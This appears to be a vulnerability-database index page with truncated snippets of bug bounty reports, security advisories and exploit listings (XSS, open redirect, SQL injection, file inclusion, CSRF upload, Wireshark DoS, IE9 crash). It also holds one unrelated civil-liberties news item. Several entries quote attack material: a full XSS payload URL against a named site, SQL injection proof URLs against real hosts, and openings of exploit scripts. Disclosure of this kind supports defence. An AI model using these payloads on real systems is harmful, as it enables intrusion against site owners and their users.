utugo017.org XSS vulnerability

Vulnerable URL: http://www.utugo017.org/news.php?search=%3E%3C/title%3E%3Cscript%3Ealert%28KCF%29%3C/script%3E%27%22%3E%3Cmarquee%3E%3Ch1%3Etest%3C/h1%3E%3C/marquee%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 22.11.2017 Latest check for patch:|...

dcwood.trade-world.org XSS vulnerability

Open Bug Bounty ID: OBB-58232 Description| Value ---|--- Affected Website:| dcwood.trade-world.org Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention...

New Coalition Launches Fight Against Patriot Act Section 215

A broad group of civil-rights, technology and political groups from across the spectrum has developed a new initiative to advocate for the repeal of Section 215 of the USA PATRIOT Act, the part that provides the authority for the bulk collection of phone metadata and other information. The new...

SEC Consult SA-20150113-1 :: Privilege Escalation & XSS & Missing Authentication in Ansible Tower

SEC Consult Vulnerability Lab Security Advisory 20150113-1 ======================================================================= title: Privilege Escalation & XSS & Missing Authentication product: Ansible Tower vulnerable version: =2.0.2 fixed version: =2.0.5 impact: high homepage:...

xorg-x11-server: integer overflow in X11 core protocol requests when calculating memory needs for requests

Multiple integer overflow flaws were found in the way the X.Org server calculated memory requirements for certain X11 core protocol requests. A malicious, authenticated client could use either of these flaws to crash the X.Org server or, potentially, execute arbitrary code with root privileges...

libXfont: integer overflows calculating memory needs for xfs replies

Multiple out-of-bounds write flaws were found in the way libXfont parsed replies received from an X.org font server. A malicious X.org server could cause an X client to crash or, possibly, execute arbitrary code with the privileges of the X.Org server...

Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery)

function submitRequest var xhr = new XMLHttpRequest; xhr.open"POST", "https://sftp.example.org/api/v1.0/files/", true; xhr.setRequestHeader"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8"; xhr.setRequestHeader...

old.leginet.eu Open Redirect vulnerability

Open Bug Bounty ID: OBB-50929 Description| Value ---|--- Affected Website:| old.leginet.eu Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4...

lupa18.org Open Redirect vulnerability

Open Bug Bounty ID: OBB-49930 Description| Value ---|--- Affected Website:| lupa18.org Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:N Remediation Guide:| OWASP Open Redirect Cheat Sheet Vulnerable...

用友软件协作办公平台通用DBA权限SQL注入漏洞之三

简要描述： 与http://www.wooyun.org/bugs/wooyun-2014-072183非同目录下 详细说明： system/config/selectUDR.jsp 漏洞证明： 1.http://oa.danzi.com.cn:9090/system/config/selectUDR.jsp?id=1 2.http://fsd2014.f3322.org:9090/system/config/selectUDR.jsp...

crics8.org XSS vulnerability

Open Bug Bounty ID: OBB-47479 Description| Value ---|--- Affected Website:| crics8.org Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

Photo Org WonderApplications v8.3 iOS - File Include Vulnerability

Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID VL-ID:...

Photo Org WonderApplications 8.3 iOS - File Include Vulnerability

No description provided by source. Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID...

Photo Org WonderApplications 8.3 iOS - Local File Inclusion

Photo Org WonderApplications 8.3 iOS - Local File Inclusion Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04...

Photo Org WonderApplications 8.3 File Inclusion

Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID VL-ID:...

Photo Org WonderApplications 8.3 iOS - Local File Inclusion

Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID VL-ID:...

Photo Org WA v8.3 iOS - File Include Vulnerability

Document Title: =============== Photo Org WA v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-03 Vulnerability Laboratory ID VL-ID: ==================================== 1277...

WireShark < 0.99.6 MMS Remote Denial of Service Exploit

No description provided by source. include winsock2.h include stdio.h pragma commentlib, ws232 char http = POST / HTTP/1.0\r\n Content-Type: application/vnd.wap.mms-message\r\n; char hoststr = Host: %s:%d\r\n; char contentlenstr = Content-Length: %d\r\n\r\n; unsigned char mms =...

Nullsoft SHOUTCast 1.8.9 - Remote Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/4934/info Nullsoft SHOUTcast Server is used to broadcast Shoutcast music. SHOUTcast Server is available for Windows, Linux and a number of other Unix based platforms. A remote buffer overflow vulnerability has been report...

Internet Explorer 9 Memory Corruption Crash PoC

No description provided by source. ?php / Internet Explorer 9 Memory Corruption PoC Exploit Successfully executed with IE9 version 9.0.8112.16421 Discovered by Jean Pascal Pereira [email protected] / settimelimit0; iniset'memorylimit', '300M'; if!fileexistsjunk.htm $string = span id='; for$i = 0;...